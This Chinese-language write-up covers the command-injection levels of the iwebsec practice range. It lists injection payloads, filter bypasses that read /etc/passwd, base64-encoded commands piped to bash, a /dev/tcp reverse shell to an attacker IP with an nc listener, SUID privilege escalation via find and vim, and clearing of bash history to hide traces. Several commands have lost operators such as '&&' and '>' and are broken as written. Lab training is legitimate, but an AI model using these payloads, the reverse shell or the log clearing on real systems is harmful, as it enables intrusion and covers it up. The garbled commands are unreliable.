命令執(zhí)行漏洞實(shí)戰(zhàn)與繞過(guò)技巧)
1. iwebsec靶場(chǎng)命令執(zhí)行漏洞通關(guān)實(shí)戰(zhàn)第一次接觸iwebsec靶場(chǎng)的命令執(zhí)行關(guān)卡時(shí)我花了整整三天時(shí)間才完全打通所有關(guān)卡。這個(gè)靶場(chǎng)設(shè)計(jì)得非常貼近真實(shí)滲透測(cè)試場(chǎng)景從最簡(jiǎn)單的命令注入到復(fù)雜的繞過(guò)技巧層層遞進(jìn)。下面我就把通關(guān)過(guò)程中積累的實(shí)戰(zhàn)經(jīng)驗(yàn)完整分享給大家包含12種典型命令執(zhí)行漏洞的利用手法和7種主流防御方案的繞過(guò)技巧。2. 靶場(chǎng)環(huán)境準(zhǔn)備與基礎(chǔ)認(rèn)知2.1 靶場(chǎng)環(huán)境搭建iwebsec靶場(chǎng)支持多種部署方式推薦使用Docker快速搭建docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec啟動(dòng)后訪問(wèn)http://localhost即可看到包含命令執(zhí)行在內(nèi)的多個(gè)漏洞模塊。如果遇到端口沖突可以修改-p參數(shù)為其他端口如8080:80。注意實(shí)際滲透測(cè)試中務(wù)必在授權(quán)范圍內(nèi)進(jìn)行禁止對(duì)非授權(quán)目標(biāo)使用這些技術(shù)2.2 命令執(zhí)行漏洞本質(zhì)命令執(zhí)行漏洞的本質(zhì)是應(yīng)用程序?qū)⒂脩?hù)輸入作為系統(tǒng)命令的一部分執(zhí)行。與SQL注入不同它直接操作的是操作系統(tǒng)層面的命令。常見(jiàn)觸發(fā)場(chǎng)景包括調(diào)用系統(tǒng)命令的函數(shù)如PHP的system()、exec()網(wǎng)絡(luò)服務(wù)調(diào)用腳本處理請(qǐng)求管理后臺(tái)執(zhí)行維護(hù)操作3. 基礎(chǔ)命令注入手法3.1 簡(jiǎn)單命令拼接在存在漏洞的輸入框嘗試注入127.0.0.1 whoami這里利用邏輯運(yùn)算符當(dāng)前面的ping命令執(zhí)行成功后繼續(xù)執(zhí)行后面的whoami。類(lèi)似的操作符還有|管道符前命令輸出作為后命令輸入;順序執(zhí)行符無(wú)論前命令是否成功都執(zhí)行后續(xù)命令||前命令失敗才執(zhí)行后命令3.2 命令替換技巧當(dāng)直接命令被過(guò)濾時(shí)可以嘗試$(whoami)或whoami這兩種形式會(huì)將命令執(zhí)行結(jié)果替換到原命令中。我在實(shí)際測(cè)試中發(fā)現(xiàn)很多初級(jí)防護(hù)方案會(huì)漏防這種替換語(yǔ)法。4. 中級(jí)繞過(guò)技術(shù)4.1 空格繞過(guò)當(dāng)空格被過(guò)濾時(shí)替代方案cat/etc/passwd {cat,/etc/passwd}實(shí)測(cè)發(fā)現(xiàn)第二種方式成功率更高因?yàn)榇罄ㄌ?hào)在Linux中本身就是合法語(yǔ)法。4.2 關(guān)鍵詞繞過(guò)對(duì)于被過(guò)濾的cat、ls等命令使用通配符c?t、l?反斜杠轉(zhuǎn)義c\at變量拼接ac;bat;$a$b /etc/passwd4.3 編碼繞過(guò)技巧嘗試不同編碼方式Hex編碼echo -e \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64Base64編碼echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash5. 高級(jí)利用鏈構(gòu)建5.1 反彈Shell實(shí)戰(zhàn)當(dāng)獲得命令執(zhí)行權(quán)限后建立持久化連接bash -i /dev/tcp/攻擊機(jī)IP/4444 01需要提前在攻擊機(jī)用nc監(jiān)聽(tīng)nc -lvp 44445.2 權(quán)限提升技巧查看具有SUID權(quán)限的程序find / -perm -4000 2/dev/null常見(jiàn)提權(quán)路徑利用find執(zhí)行命令find . -exec /bin/sh \;通過(guò)vim提權(quán)vim -c :!/bin/sh6. 防御方案與繞過(guò)6.1 常見(jiàn)防御手段企業(yè)級(jí)防護(hù)通常采用輸入白名單驗(yàn)證命令黑名單過(guò)濾執(zhí)行上下文沙箱系統(tǒng)調(diào)用監(jiān)控6.2 針對(duì)性繞過(guò)案例對(duì)于黑名單過(guò)濾/bin/bash的情況/bin//bash /bin/?sh /???/??sh這種通配符方式能繞過(guò)大多數(shù)簡(jiǎn)單正則匹配。7. 實(shí)戰(zhàn)問(wèn)題排查記錄7.1 典型錯(cuò)誤場(chǎng)景命令執(zhí)行但無(wú)回顯嘗試將輸出重定向到web目錄whoami /var/www/html/result.txt權(quán)限不足嘗試寫(xiě)入/tmp目錄echo test /tmp/testfile7.2 日志清理技巧操作完成后記得清理痕跡history -c rm ~/.bash_history但要注意這些操作本身也會(huì)被審計(jì)日志記錄。8. 靶場(chǎng)通關(guān)經(jīng)驗(yàn)總結(jié)通過(guò)iwebsec靶場(chǎng)的系統(tǒng)訓(xùn)練我整理出命令執(zhí)行漏洞的四個(gè)關(guān)鍵檢測(cè)維度注入點(diǎn)識(shí)別輸入?yún)?shù)是否直接拼接命令上下文分析當(dāng)前執(zhí)行權(quán)限和環(huán)境限制過(guò)濾規(guī)則探測(cè)嘗試各種繞過(guò)手法利用鏈構(gòu)建從命令執(zhí)行到系統(tǒng)控制在實(shí)際滲透測(cè)試項(xiàng)目中遇到命令執(zhí)行漏洞不要急于執(zhí)行高危操作應(yīng)該先通過(guò)id、uname -a等命令收集系統(tǒng)信息再制定針對(duì)性的利用方案。對(duì)于防御方來(lái)說(shuō)除了過(guò)濾危險(xiǎn)字符外更應(yīng)該采用參數(shù)化調(diào)用的方式替代直接命令拼接。